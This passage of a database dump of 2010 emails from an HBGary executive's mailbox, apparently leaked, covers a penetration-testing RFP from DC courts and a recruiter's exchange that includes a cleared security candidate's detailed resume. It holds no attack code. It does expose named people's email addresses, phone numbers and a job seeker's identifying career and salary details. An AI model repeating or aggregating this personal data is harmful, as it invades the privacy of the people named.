Helix, password cracking, recovery of deleted data, timeline analysisvulnerability&nbsp;testing: TCP/IP protocol and network services (port), NMAP, Ethereal, and&nbsp;hacking&nbsp;and auditing tools, and etc.Wireless security countermeasures WiFi, GSM, WiMaxWindows Server 2003: deployment of Active Directory (AD), Microsoft Exchange, network services, Server Resources Management, SQL serverNetworking: Cisco, Juniper, Extreme Networks, Vyatta Layer 2 &amp; 3 protocols (network basics networking): Ethernet, Gigabit Ethernet, SONET, ATM, VLANS RIP, OSPF, BGP, MPLS, LDP, RSVP, HSRP)LINGUISTICS:Bilingual: fluent French/EnglishTutor at Michigan State UniversityDefense Linguistic Proficiency Test (DLPT) 3/3&nbsp;French Assistant High School, MichiganCyber-Defense: US Army Criminal Investigation Command (CID) with interpretation and translation of legal documents in relation with a cyber-crime investigation (French legal jurisdiction and International Criminal Police Organization (Interpol))Consulting for DoJ (2007): translation in the context of international litigation (affidavit for extradition) between Europe (France) and United StatesMISCELLEANEOUS:UNIX/Linux flavored (Fedora, RedHat, WINDOWS (NT, 2003 Server, XP)), MAC OSX, VMware Workstation, Core Impact, i2-Analyst Notebook, Web design (HTML, Dreamweaver, Studio MX), VMware Workstation, VISIO, AutoCADPUBLICATIONS&nbsp;INFOSEC Management or Business Impact Analysis, not just a Good Idea but a Necessity in IA Today!, October 2007Digital Forensics: Concepts and Applications, May 2007Defense Continuity Plan (DCP) in the Context of a PandemicReadiness (Phases I and II), February 2007 (pandemicCOOP) in compliance and requirement (Homeland SecurityAct of 2002 (A Bill))An Organic and Holistic Approach to Information Assurance, November 2006Paradox of Implication, October 1992&nbsp;Philosophical and Logical Foundations of Artificial Intelligence, June 1991 (Thesis Sorbonne-Paris IV)\r\n',6352,'aaron_hbgary_com/6352.html'),(10849,'2010-08-24','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008336.M998735P14101Q5704.eml','\"William Luti\" <wluti@digitalmanagement.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: Request for Proposal--CSP-10-041--Penetration Testing and Information Security Services','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron-\r\n\r\n&nbsp;\r\n\r\nCheck this out…might be a good\r\none to work on together. Due 9/9, for District of Columbia Courts.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Sunny Bajaj \r\nSent: Tuesday, August 24, 2010 6:32 PM\r\nTo: William Luti; Bob Cutaiar; John Park\r\nCc: Scott B. Deutschman; John Fanguy\r\nSubject: Fw: Request for Proposal--CSP-10-041--Penetration Testing and\r\nInformation Security Services\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBill, fyi \r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Reynolds, Darlene\r\n[mailto:Darlene.Reynolds@dcsc.gov] \r\nSent: Tuesday, August 24, 2010 05:57 PM\r\nTo: Reynolds, Darlene &lt;Darlene.Reynolds@dcsc.gov&gt; \r\nCc: Mobley, Shelia &lt;Shelia.Mobley@dcsc.gov&gt;; Eng, Andrew\r\n&lt;Andrew.Eng@dcsc.gov&gt;; Allen, Darryl M. &lt;Darryl.Allen@dcsc.gov&gt; \r\nSubject: Request for Proposal--CSP-10-041--Penetration Testing and\r\nInformation Security Services \r\n&nbsp;\r\n\r\n\r\n\r\nTo All Potential Offerors:\r\n\r\n&nbsp;\r\n\r\nPlease\r\nreview and respond to the attached Request for Proposal Number:\r\nCSP-10-041—Penetration Testing and Information Security Services in accordance\r\nwith the Request for Proposal details and Attachments J.1 through J.9.&nbsp; The\r\ndeadline for written inquiries is Tuesday, September 7, 2010 by 1:00 p.m..&nbsp;\r\nThe closing date (response due date) for this solicitation is Wednesday,\r\nSeptember 15, 2010 at 2:00 p.m., EST.&nbsp; A separate e-mail message will\r\nfollow with Attachments J.1 through J.9.&nbsp;Thank you in advance for your\r\nparticipation in the bid process. &nbsp;\r\n\r\n&nbsp;\r\n\r\nDarlene\r\nD. Reynolds\r\n\r\nSenior\r\nContract Specialist\r\n\r\nAdministrative\r\nServices Division\r\n\r\nDC\r\nSuperior Courts\r\n\r\n616\r\nH Street, NW, 6th Floor\r\n\r\nWashington,\r\nDC&nbsp; 20001\r\n\r\n(202)\r\n879-2872 (office)\r\n\r\n(202)\r\n879-2835(FAX)\r\n\r\nThis message (including any attachments) is intended only for the use of the\r\nindividual or entity to which it is addressed and may contain information that\r\nis non-public, proprietary, privileged, confidential, and exempt from\r\ndisclosure under applicable law or may constitute as attorney work product. If\r\nyou are not the intended recipient, you are hereby notified that any use,\r\ndissemination, distribution, or copying of this communication is strictly\r\nprohibited. If you have received this communication in error, notify us\r\nimmediately by telephone and (i) destroy this message if a facsimile or (ii)\r\ndelete this message immediately if this is an electronic communication. Thank\r\nyou.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7190,'aaron_hbgary_com/7190.html'),(10850,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008337.M263264P14101Q5705.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Request for Proposal--CSP-10-041--Penetration Testing and Information Security Services','Did a quick scan. &nbsp;Looks like it. &nbsp;Pentesting for DC courts, thats right up our alley. &nbsp;We have two guys in New Mexico doing a pentest for another government organization.AaronOn Aug 24, 2010, at 6:35 PM, John Fanguy wrote:Aaron-&nbsp;Check this out…might be a good one to work on together. Due 9/9, for District of Columbia Courts.&nbsp;-John&nbsp;VPDigital Management, Inc.301-346-6749 cell&nbsp;From:&nbsp;Sunny Bajaj&nbsp;Sent:&nbsp;Tuesday, August 24, 2010 6:32 PMTo:&nbsp;William Luti; Bob Cutaiar; John ParkCc:&nbsp;Scott B. Deutschman; John FanguySubject:&nbsp;Fw: Request for Proposal--CSP-10-041--Penetration Testing and Information Security Services&nbsp;Bill, fyi&nbsp;&nbsp;From: Reynolds, Darlene [mailto:Darlene.Reynolds@dcsc.gov]&nbsp;Sent: Tuesday, August 24, 2010 05:57 PMTo: Reynolds, Darlene &lt;Darlene.Reynolds@dcsc.gov&gt;&nbsp;Cc: Mobley, Shelia &lt;Shelia.Mobley@dcsc.gov&gt;; Eng, Andrew &lt;Andrew.Eng@dcsc.gov&gt;; Allen, Darryl M. &lt;Darryl.Allen@dcsc.gov&gt;&nbsp;Subject: Request for Proposal--CSP-10-041--Penetration Testing and Information Security Services&nbsp;&nbsp;To All Potential Offerors:&nbsp;Please review and respond to the attached Request for Proposal Number: CSP-10-041—Penetration Testing and Information Security Services in accordance with the Request for Proposal details and Attachments J.1 through J.9.&nbsp;&nbsp;The deadline for written inquiries is Tuesday, September 7, 2010 by 1:00 p.m..&nbsp;The closing date (response due date) for this solicitation is Wednesday, September 15, 2010 at 2:00 p.m., EST.&nbsp; A separate e-mail message will follow with Attachments J.1 through J.9.&nbsp;Thank you in advance for your participation in the bid process. &nbsp;&nbsp;Darlene D. ReynoldsSenior Contract SpecialistAdministrative Services DivisionDC Superior Courts616 H Street, NW, 6th FloorWashington, DC&nbsp; 20001(202) 879-2872 (office)(202) 879-2835(FAX)This message (including any attachments) is intended only for the use of the individual or entity to which it is addressed and may contain information that is non-public, proprietary, privileged, confidential, and exempt from disclosure under applicable law or may constitute as attorney work product. If you are not the intended recipient, you are hereby notified that any use, dissemination, distribution, or copying of this communication is strictly prohibited. If you have received this communication in error, notify us immediately by telephone and (i) destroy this message if a facsimile or (ii) delete this message immediately if this is an electronic communication. Thank you.&lt;CSP-10-041-Penetration Testing RFP.docx&gt;',8825,'aaron_hbgary_com/8825.html'),(10851,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008337.M784982P14101Q5706.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Request for Proposal--CSP-10-041--Penetration Testing and Information Security Services','\r\n\r\nBegin forwarded message:\r\n\r\n> From: John Fanguy \r\n> Date: August 24, 2010 6:35:39 PM EDT\r\n> To: William Luti , Aaron Barr \r\n> Subject: FW: Request for Proposal--CSP-10-041--Penetration Testing and Information Security Services\r\n> \r\n> Aaron-\r\n>  \r\n> Check this out…might be a good one to work on together. Due 9/9, for District of Columbia Courts.\r\n>  \r\n> -John\r\n>  \r\n> VP\r\n> Digital Management, Inc.\r\n> 301-346-6749 cell\r\n>  \r\n> From: Sunny Bajaj \r\n> Sent: Tuesday, August 24, 2010 6:32 PM\r\n> To: William Luti; Bob Cutaiar; John Park\r\n> Cc: Scott B. Deutschman; John Fanguy\r\n> Subject: Fw: Request for Proposal--CSP-10-041--Penetration Testing and Information Security Services\r\n>  \r\n> Bill, fyi \r\n>  \r\n> From: Reynolds, Darlene [mailto:Darlene.Reynolds@dcsc.gov] \r\n> Sent: Tuesday, August 24, 2010 05:57 PM\r\n> To: Reynolds, Darlene  \r\n> Cc: Mobley, Shelia ; Eng, Andrew ; Allen, Darryl M.  \r\n> Subject: Request for Proposal--CSP-10-041--Penetration Testing and Information Security Services \r\n>  \r\n> To All Potential Offerors:\r\n>  \r\n> Please review and respond to the attached Request for Proposal Number: CSP-10-041—Penetration Testing and Information Security Services in accordance with the Request for Proposal details and Attachments J.1 through J.9.  The deadline for written inquiries is Tuesday, September 7, 2010 by 1:00 p.m.. The closing date (response due date) for this solicitation is Wednesday, September 15, 2010 at 2:00 p.m., EST.  A separate e-mail message will follow with Attachments J.1 through J.9. Thank you in advance for your participation in the bid process.  \r\n>  \r\n> Darlene D. Reynolds\r\n> Senior Contract Specialist\r\n> Administrative Services Division\r\n> DC Superior Courts\r\n> 616 H Street, NW, 6th Floor\r\n> Washington, DC  20001\r\n> (202) 879-2872 (office)\r\n> (202) 879-2835(FAX)\r\n> This message (including any attachments) is intended only for the use of the individual or entity to which it is addressed and may contain information that is non-public, proprietary, privileged, confidential, and exempt from disclosure under applicable law or may constitute as attorney work product. If you are not the intended recipient, you are hereby notified that any use, dissemination, distribution, or copying of this communication is strictly prohibited. If you have received this communication in error, notify us immediately by telephone and (i) destroy this message if a facsimile or (ii) delete this message immediately if this is an electronic communication. Thank you.\r\n> \r\n\r\n',9855,'aaron_hbgary_com/9855.html'),(10852,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008338.M485198P14101Q5708.eml','\"Ed Wallach\" <ed@wallachsearch.com>','Re: 7','Should work.  They can take a little time depending but should be ok.AaronSent from my iPhoneOn Aug 24, 2010, at 6:39 PM, Ed Wallach &lt;ed@wallachsearch.com&gt; wrote:\r\nHi Aaron,Thanks. Once received will begin the searches.I&#39;ll focus on only those with fullscope ISSA Polygraphs green badges and the skills you mentioned below.\r\nWill NSA Fullscopes cross over to your program?Best-EdOn Aug 24, 2010, at 6:26 PM, Aaron Barr wrote:\r\nok sorry Ed dropped the ball, just got busy.I will get the form back to you tonight.  Lots of things going on.  Right now I am most interested in Reverse engineers, experienced forensics, system/software/media exploitation guys will ISSA. :)  Its a tall order.\r\nAaronOn Aug 19, 2010, at 11:55 AM, Ed Wallach wrote:Thanks Aaron!I&#39;m actively recruiting more as well. \r\nEd~~~~~~~~~~~~~~~~~Ed WallachPresident &amp; CEO Ed Wallach Search Group301-365-3291 office301-613-0629 cellwww.wallachsearch.com\r\ned@wallachsearch.comRECRUITING INTELLIGENCEOn Aug 19, 2010, at 11:42 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThis one interests me.Let me take a look at the agreement you sent and get it back to you and we can go further.Aaron\r\nOn Aug 18, 2010, at 3:26 PM, Ed Wallach wrote:\r\nInteresting background...don&#39;t think she has a poly...waiting for more info from her including an updated resume, tickets etc...She owns a home in VA\r\nShe&#39;s available to interview immediately and can begin a new position in October.\r\n \r\n \r\n\r\n7\r\n$130K Minimum desiredActive ClearancesOBJECTIVES Versatile and team player, 7 is seeking a position to apply her technical, analytical, managerial, and leadership skills. 7 is acquainted with DoD information assurance program, ISO 17799/27001 and SABSA Security Framework. Good understanding with regards to the applications of the special publications of the National Institute for Standard and Technology (NIST). 7 has written several essays about Information Assurance (IA) (refer to publications in the resume below). 7 participated in missions supporting computer network defense response action (CND/RA). She conducted vulnerability assessments, analyzed security threats and techniques, tactics, and procedures (TTP) of cyber threats and cyber crimes. Her overall experience encompasses the entire spectrum of technical IA and security management. \r\nAccept 25-75% travel CONUS and OCONUS with negotiable compensation.PROFESSIONAL RELEVANT EXPERIENCE PACIFIC NORTHWEST NATIONAL LABORATORY (PNNL) headquarter in Richland , WACurrent Engineer Scientist IV\r\nNetwork forensics analysis and data set analysis Assumption-based queries and identification to isolate and confirm abnormal traffic researches in cyber security related topics SECURICON - Arlington, VA\r\n2008Senior Security Intrusion Analyst Digital Investigation - Information AssuranceContract with JTF-GNO - DISASenior Security Intrusion Analyst Cyber intelligence and digital security investigation Network security experience on Windows and UNIX system (NetFlow)\r\nCollect and investigate the current cyber-threats and related attacks vectors against the global information grid (GIG) and, perform networkvulnerability analysis, security monitoring\r\nParticipate in the joint Intel fusion coordination between the different downstream and upstream organizations: JTF-GNO at DISA, NSA, FBI, US-CERT, NOSC, USMC, AFNOSC, ACERT, and other collateral major command (CENTCOM, PACOM, TRANSCOM, and etc) and other regional government organizations\r\nSRA International Arlington, VA2004 - 2008 Security Network Engineer &amp; Information Assurance AnalystSecurity Analyst &amp; Security Network auditingDigital forensics investigation (DFI)Security analyst and auditor Guidance and Compliance of the internal information system infrastructure\r\nDefined audit requirements and scope, investigate and document findings in an audit reportRecommended security solution to protect the internal information system infrastructureParticipated in writing and reviewing System Security Plan (SSP) and internal security policies\r\nINSCOM - 1st Information Operation Command - Fort Belvoir, VA - Jan. 2005 - Jul. 2007Information Security OfficerArmy Computer Emergency Response (ACERT)Support Mission - Computer Network Operations Defense (CNOD)\r\nImplemented the tactics, techniques, and procedures (TTPs) supporting Computer Network Defense (CND) Response Action (CND-RA)Worked closely with various Army and government agencies (US Army Criminal Investigation Command (CID), US Army Computer Emergency Response Teams (ACERT), various Regional Computer Emergency Response Teams (RCERTs), Army research Labs, Joint Task Force/Global Network Operations (JTF-GNO) and National Security Agency (NSA)\r\nFunctional assignment as security officer responsible for enforcing correct measure of protection within classified environment Leadership position Ft Gordon: supervised and managed 18 soldiers within the context of Warrant Officer Basic Course (WOBC) and leadership development.\r\nGENERAL DYNAMICS (sub-contract) - Arlington, VA Pentagon Renovation Project Oct. 2003 - May 2004.Senior Quality Assurance Automated System Network Infrastructure.Quality Management Assurance ISO QMS 9000 compliance\r\nVerified compliance between pre-deployment configurations devices with logical layer requirement. Provided on-site Pentagon installation QA support and inspectionDeveloped quality records and reports quality matrices.\r\nUS ARMY NATIONAL GUARD Colorado Springs, CO193rd Army Space Support Battalion Nov. 2002 to Oct. 2004 SATCOM Technician193rd Space Command Support BN, Peterson AF Base, Colorado Space Electronic warfare Detachment (SEWD) Space\r\nCentral Mission Area warfare in support of DoD duringMission Iraqi Freedom. RF and SATCOM communications in support of Operations Iraqi Freedom (OIF) in theater (oversea)LEVEL(3) COMMUNICATIONS - Broomfield, CO \r\nFeb 2001 July 2002 Network EngineerTier III WAN Network Operations Engineer responsible for the management, monitoring, and maintenance of a multi-vendor global IP network in USA, Asia, and EUInitiated the need for configuration management for Network Operating Center (NOC). Developed and managed change control and procedures for configuration changes (configuration management)\r\nFIRSTWORLD COMMUNICATIONS - Englewood, CO Fall 1999 Feb 2001Network engineer and team leader in the NOCCisco CCNA Academy Instructor at Red Rock CommunityCollege (RRCC)NATIONAL RENEWABLE ENERGY LAB. (NREL) DoE Golden, CO (1998 1999)\r\nLaboratory TechnicianFundamental researches in Organic ChemistryMILITARYUS ARMY RESERVE Service Member (SM) Fort Belvoir, VA1st Information Operations Command Support Battalion Warrant Officer\r\nUS NATIONAL GUARD SM - Peterson AF Base, CO193rd Army Space Support Battalion US NATIONAL GUARD SM - Buckley AF Base, CODetachment 5 Army Medical Support BattalionCLEARANCES Need to Know\r\nFORMAL EDUCATION NORWICH UNIVERSITYMasters of Science in Information Assurance (MSIA), 2007 Program accredited by NSA GPA = AJOHNS HOPKINS UNIVERSITYCompleted coursework: JAVA Programming &amp; Biostatistics Analysis, 2004\r\nSORBONNE UNIVERSITYPost-master and Masters of Art (MA) degree in Philosophy, 1993Received Very High HonorsTECHNICAL DEVELOPMENT COURSES AND TRAININGS Cisco Certified Network Associate (CCNA), 2000\r\nCisco Certified Network Professional (CCNP), 2002 Inter-Services Space Fundamental, U.S. Air Force, 2002Certified Information Systems Security Officer (ISSO), 2003 UNIX System Architecture, 2003Certified ethical Hacker (CEH), 2005\r\nE-Council Certified Security Analyst (ECSA), 2006RedHat Training Administration and Network Security, 2007CompTIA Security +, 2008GIAC System Network Auditor (GSNA), 2008PCI/DSS 1.2 Becoming and Staying Compliant (training 2008)\r\nSANS GIAC Certified ISO-17799 Specialist (G7799), 2009Joint Network Attack Course (JNAC), 2009SANS GIAC Security Essentials Certification (GSEC), 2009SANS GIAC Certified Forensic Analyst (GCFA) , 2010Memberships:\r\nInfraGard Member - Washington Field ChapterISACA (National Capital Area) SANS MemberSSI/PAFI CertifiedToastmaster memberSKILLS SET NETWORK and IT SECURITY:Digital data analysis: file system analysis (Fat, NTFS, UFS, ext2/3). Toolkit: SleuthKit (mactime, mac-robber, etc), Traffic flaw (SiLK), Wireshark, Autopsy, Helix, password cracking, recovery of deleted data, timeline analysis\r\nvulnerability testing: TCP/IP protocol and network services (port), NMAP, Ethereal, and hacking and auditing tools, and etc.\r\nWireless security countermeasures WiFi, GSM, WiMaxWindows Server 2003: deployment of Active Directory (AD), Microsoft Exchange, network services, Server Resources Management, SQL serverNetworking: Cisco, Juniper, Extreme Networks, Vyatta Layer 2 &amp; 3 protocols (network basics networking): Ethernet, Gigabit Ethernet, SONET, ATM, VLANS RIP, OSPF, BGP, MPLS, LDP, RSVP, HSRP)\r\nLINGUISTICS:Bilingual: fluent French/EnglishTutor at Michigan State UniversityDefense Linguistic Proficiency Test (DLPT) 3/3 French Assistant High School, MichiganCyber-Defense: US Army Criminal Investigation Command (CID) with interpretation and translation of legal documents in relation with a cyber-crime investigation (French legal jurisdiction and International Criminal Police Organization (Interpol))\r\nConsulting for DoJ (2007): translation in the context of international litigation (affidavit for extradition) between Europe (France) and United StatesMISCELLEANEOUS:UNIX/Linux flavored (Fedora, RedHat, WINDOWS (NT, 2003 Server, XP)), MAC OSX, VMware Workstation, Core Impact, i2-Analyst Notebook, Web design (HTML, Dreamweaver, Studio MX), VMware Workstation, VISIO, AutoCAD\r\nPUBLICATIONS INFOSEC Management or Business Impact Analysis, not just a Good Idea but a Necessity in IA Today!, October 2007Digital Forensics: Concepts and Applications, May 2007Defense Continuity Plan (DCP) in the Context of a Pandemic\r\nReadiness (Phases I and II), February 2007 (pandemicCOOP) in compliance and requirement (Homeland SecurityAct of 2002 (A Bill))An Organic and Holistic Approach to Information Assurance, November 2006\r\nParadox of Implication, October 1992 Philosophical and Logical Foundations of Artificial Intelligence, June 1991 (Thesis Sorbonne-Paris IV)\r\n\r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach \r\nPresident &amp; CEO\r\nEd Wallach Search Group \r\n301-365-3291 office  \r\n301-613-0629 mobile\r\n301-365-3292 fax ed@wallachsearch.com\r\nwww.wallachsearch.com\r\nRecruiting Intelligence \r\n\r\n\r\n\r\n\r\n',10332,'aaron_hbgary_com/10332.html'),(10853,'2010-08-24','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008338.M68833P14101Q5707.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: 7','Hi Aaron,Thanks. Once received will begin the searches.I\'ll focus on only those with fullscope ISSA Polygraphs green badges and the skills you mentioned below.Will NSA Fullscopes cross over to your program?Best-EdOn Aug 24, 2010, at 6:26 PM, Aaron Barr wrote:ok sorry Ed dropped the ball, just got busy.I will get the form back to you tonight. &nbsp;Lots of things going on. &nbsp;Right now I am most interested in Reverse engineers, experienced forensics, system/software/media exploitation guys will ISSA. :) &nbsp;Its a tall order.AaronOn Aug 19, 2010, at 11:55 AM, Ed Wallach wrote:Thanks Aaron!I\'m actively recruiting more as well.&nbsp;Ed~~~~~~~~~~~~~~~~~Ed WallachPresident &amp; CEO&nbsp;Ed Wallach Search Group301-365-3291 office301-613-0629 cellwww.wallachsearch.comed@wallachsearch.comRECRUITING INTELLIGENCEOn Aug 19, 2010, at 11:42 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:This one interests me.Let me take a look at the agreement you sent and get it back to you and we can go further.AaronOn Aug 18, 2010, at 3:26 PM, Ed Wallach wrote:Interesting background...don\'t think she has a poly...waiting for more info from her including an updated resume, tickets etc...She owns a home in VAShe\'s available to interview immediately and can begin a new position in October.&nbsp;&nbsp;7$130K Minimum desiredActive ClearancesOBJECTIVES&nbsp;Versatile and team player, 7 is seeking a position to apply her technical, analytical, managerial, and leadership skills. 7 is acquainted with DoD information assurance program, ISO 17799/27001 and SABSA Security Framework. Good understanding with regards to the applications of the special publications of the National Institute for Standard and Technology (NIST). 7 has written several essays about Information Assurance (IA) (refer to publications in the resume below). 7 participated in missions supporting computer network defense response action (CND/RA). She conducted&nbsp;vulnerability&nbsp;assessments, analyzed security threats and techniques, tactics, and procedures (TTP) of cyber threats and cyber crimes. Her overall experience encompasses the entire spectrum of technical IA and security management.&nbsp;Accept 25-75% travel CONUS and OCONUS with negotiable compensation.PROFESSIONAL RELEVANT EXPERIENCE PACIFIC NORTHWEST NATIONAL LABORATORY (PNNL) headquarter in Richland , WACurrent&nbsp;Engineer Scientist IVNetwork forensics analysis and data set analysis&nbsp;Assumption-based queries and identification to isolate&nbsp;and confirm abnormal traffic&nbsp;researches in cyber security related topics&nbsp;SECURICON - Arlington, VA2008Senior Security Intrusion Analyst Digital Investigation - Information AssuranceContract with JTF-GNO - DISASenior Security Intrusion Analyst Cyber intelligence and digital security investigation&nbsp;Network security experience on Windows and UNIX system (NetFlow)Collect and investigate the current cyber-threats and related attacks vectors against the global information grid (GIG) and, perform networkvulnerability&nbsp;analysis, security monitoringParticipate in the joint Intel fusion coordination between the different downstream and upstream organizations: JTF-GNO at DISA, NSA, FBI, US-CERT, NOSC, USMC, AFNOSC, ACERT, and other collateral major command (CENTCOM, PACOM, TRANSCOM, and etc) and other regional government organizationsSRA International Arlington, VA2004 - 2008&nbsp;Security Network Engineer &amp; Information Assurance AnalystSecurity Analyst &amp; Security Network auditingDigital forensics investigation (DFI)Security analyst and auditor Guidance and Compliance of the internal information system infrastructureDefined audit requirements and scope, investigate and document findings in an audit reportRecommended security solution to protect the internal information system infrastructureParticipated in writing and reviewing System Security Plan (SSP) and internal security policiesINSCOM - 1st Information Operation Command - Fort Belvoir, VA - Jan. 2005 - Jul. 2007Information Security OfficerArmy Computer Emergency Response (ACERT)Support Mission - Computer Network Operations Defense (CNOD)Implemented the tactics, techniques, and procedures (TTPs) supporting Computer Network Defense (CND) Response Action (CND-RA)Worked closely with various Army and government agencies (US Army Criminal Investigation Command (CID), US Army Computer Emergency Response Teams (ACERT), various Regional Computer Emergency Response Teams (RCERTs), Army research&nbsp;Labs, Joint Task Force/Global Network Operations (JTF-GNO) and National Security Agency (NSA)Functional assignment as security officer responsible for enforcing correct measure of protection within classified environment&nbsp;Leadership position Ft Gordon: supervised and managed 18 soldiers within the context of Warrant Officer Basic Course (WOBC) and leadership development.GENERAL DYNAMICS (sub-contract) - Arlington, VA Pentagon Renovation Project Oct. 2003 - May 2004.Senior Quality Assurance Automated System Network Infrastructure.Quality Management Assurance ISO QMS 9000 complianceVerified compliance between pre-deployment configurations devices with logical layer requirement. Provided on-site Pentagon installation QA support and inspectionDeveloped quality records and reports quality matrices.US ARMY NATIONAL GUARD Colorado Springs, CO193rd Army Space Support Battalion Nov. 2002 to Oct. 2004&nbsp;SATCOM Technician193rd Space Command Support BN, Peterson AF Base, Colorado&nbsp;Space Electronic warfare Detachment (SEWD) SpaceCentral Mission Area warfare in support of DoD duringMission Iraqi Freedom.&nbsp;RF and SATCOM communications in support of Operations Iraqi Freedom (OIF) in theater (oversea)LEVEL(3) COMMUNICATIONS - Broomfield, CO&nbsp;Feb 2001 July 2002&nbsp;Network EngineerTier III WAN Network Operations Engineer responsible for the management, monitoring, and maintenance of a multi-vendor global IP network in USA, Asia, and EUInitiated the need for configuration management for Network Operating Center (NOC). Developed and managed change control and procedures for configuration changes (configuration management)FIRSTWORLD COMMUNICATIONS - Englewood, CO&nbsp;Fall 1999 Feb 2001Network engineer and team leader in the NOCCisco CCNA Academy Instructor at Red Rock CommunityCollege (RRCC)NATIONAL RENEWABLE ENERGY LAB. (NREL) DoE Golden, CO (1998 1999)Laboratory TechnicianFundamental researches&nbsp;in Organic ChemistryMILITARYUS ARMY RESERVE Service Member (SM) Fort Belvoir, VA1st Information Operations Command Support Battalion&nbsp;Warrant OfficerUS NATIONAL GUARD SM - Peterson AF Base, CO193rd Army Space Support Battalion&nbsp;US NATIONAL GUARD SM - Buckley AF Base, CODetachment 5 Army Medical Support BattalionCLEARANCES Need to KnowFORMAL EDUCATION&nbsp;NORWICH UNIVERSITYMasters of Science in Information Assurance (MSIA), 2007 Program accredited by NSA&nbsp;GPA = AJOHNS HOPKINS UNIVERSITYCompleted coursework: JAVA Programming &amp; Biostatistics Analysis, 2004SORBONNE UNIVERSITYPost-master and Masters of Art (MA) degree in Philosophy, 1993Received Very High HonorsTECHNICAL DEVELOPMENT COURSES AND TRAININGS Cisco Certified Network Associate (CCNA), 2000Cisco Certified Network Professional (CCNP), 2002&nbsp;Inter-Services Space Fundamental, U.S. Air Force, 2002Certified Information Systems Security Officer (ISSO), 2003&nbsp;UNIX System Architecture, 2003Certified&nbsp;ethical&nbsp;Hacker (CEH), 2005E-Council Certified Security Analyst (ECSA), 2006RedHat Training Administration and Network Security, 2007CompTIA Security +, 2008GIAC System Network Auditor (GSNA), 2008PCI/DSS 1.2 Becoming and Staying Compliant (training 2008)SANS GIAC Certified ISO-17799 Specialist (G7799), 2009Joint Network Attack Course (JNAC), 2009SANS GIAC Security Essentials Certification (GSEC), 2009SANS GIAC Certified Forensic Analyst (GCFA) , 2010Memberships:InfraGard Member - Washington Field ChapterISACA (National Capital Area)&nbsp;SANS MemberSSI/PAFI CertifiedToastmaster memberSKILLS SET&nbsp;NETWORK and IT SECURITY:Digital data analysis: file system analysis (Fat, NTFS, UFS, ext2/3). Toolkit: SleuthKit (mactime, mac-robber, etc), Traffic flaw (SiLK), Wireshark, Autopsy, Helix, password cracking, recovery of deleted data, timeline analysisvulnerability&nbsp;testing: TCP/IP protocol and network services (port), NMAP, Ethereal, and&nbsp;hacking&nbsp;and auditing tools, and etc.Wireless security countermeasures WiFi, GSM, WiMaxWindows Server 2003: deployment of Active Directory (AD), Microsoft Exchange, network services, Server Resources Management, SQL serverNetworking: Cisco, Juniper, Extreme Networks, Vyatta Layer 2 &amp; 3 protocols (network basics networking): Ethernet, Gigabit Ethernet, SONET, ATM, VLANS RIP, OSPF, BGP, MPLS, LDP, RSVP, HSRP)LINGUISTICS:Bilingual: fluent French/EnglishTutor at Michigan State UniversityDefense Linguistic Proficiency Test (DLPT) 3/3&nbsp;French Assistant High School, MichiganCyber-Defense: US Army Criminal Investigation Command (CID) with interpretation and translation of legal documents in relation with a cyber-crime investigation (French legal jurisdiction and International Criminal Police Organization (Interpol))Consulting for DoJ (2007): translation in the context of international litigation (affidavit for extradition) between Europe (France) and United StatesMISCELLEANEOUS:UNIX/Linux flavored (Fedora, RedHat, WINDOWS (NT, 2003 Server, XP)), MAC OSX, VMware Workstation, Core Impact, i2-Analyst Notebook, Web design (HTML, Dreamweaver, Studio MX), VMware Workstation, VISIO, AutoCADPUBLICATIONS&nbsp;INFOSEC Management or Business Impact Analysis, not just a Good Idea but a Necessity in IA Today!, October 2007Digital Forensics: Concepts and Applications, May 2007Defense Continuity Plan (DCP) in the Context of a PandemicReadiness (Phases I and II), February 2007 (pandemicCOOP) in compliance and requirement (Homeland SecurityAct of 2002 (A Bill))An Organic and Holistic Approach to Information Assurance, November 2006Paradox of Implication, October 1992&nbsp;Philosophical and Logical Foundations of Artificial Intelligence, June 1991 (Thesis Sorbonne-Paris IV)\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence \r\n\r\n',15895,'aaron_hbgary_com/15895.html'),(10854,'2010-08-24','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008338.M772701P14101Q5709.eml','aaron@hbgary.com,\"Andretta, Christine N (TASC)\" <Christine.Andretta@TASC.COM>,\"Bruce Friedman\" <bruce.friedman@ngc.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,patricia.krajeski@tasc.com,\"Paul Meaney\" <paul.meaney@ngc.com>,paul.kuttner@tasc.com,rob.wilson@telos.com,robert.sanderson@telos.com,sondra.spalding@tasc.com,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William E. Miller\" <wmiller@digitalmanagement.com>,\"William Luti\" <wluti@digitalmanagement.com>','FW: Key Personnel 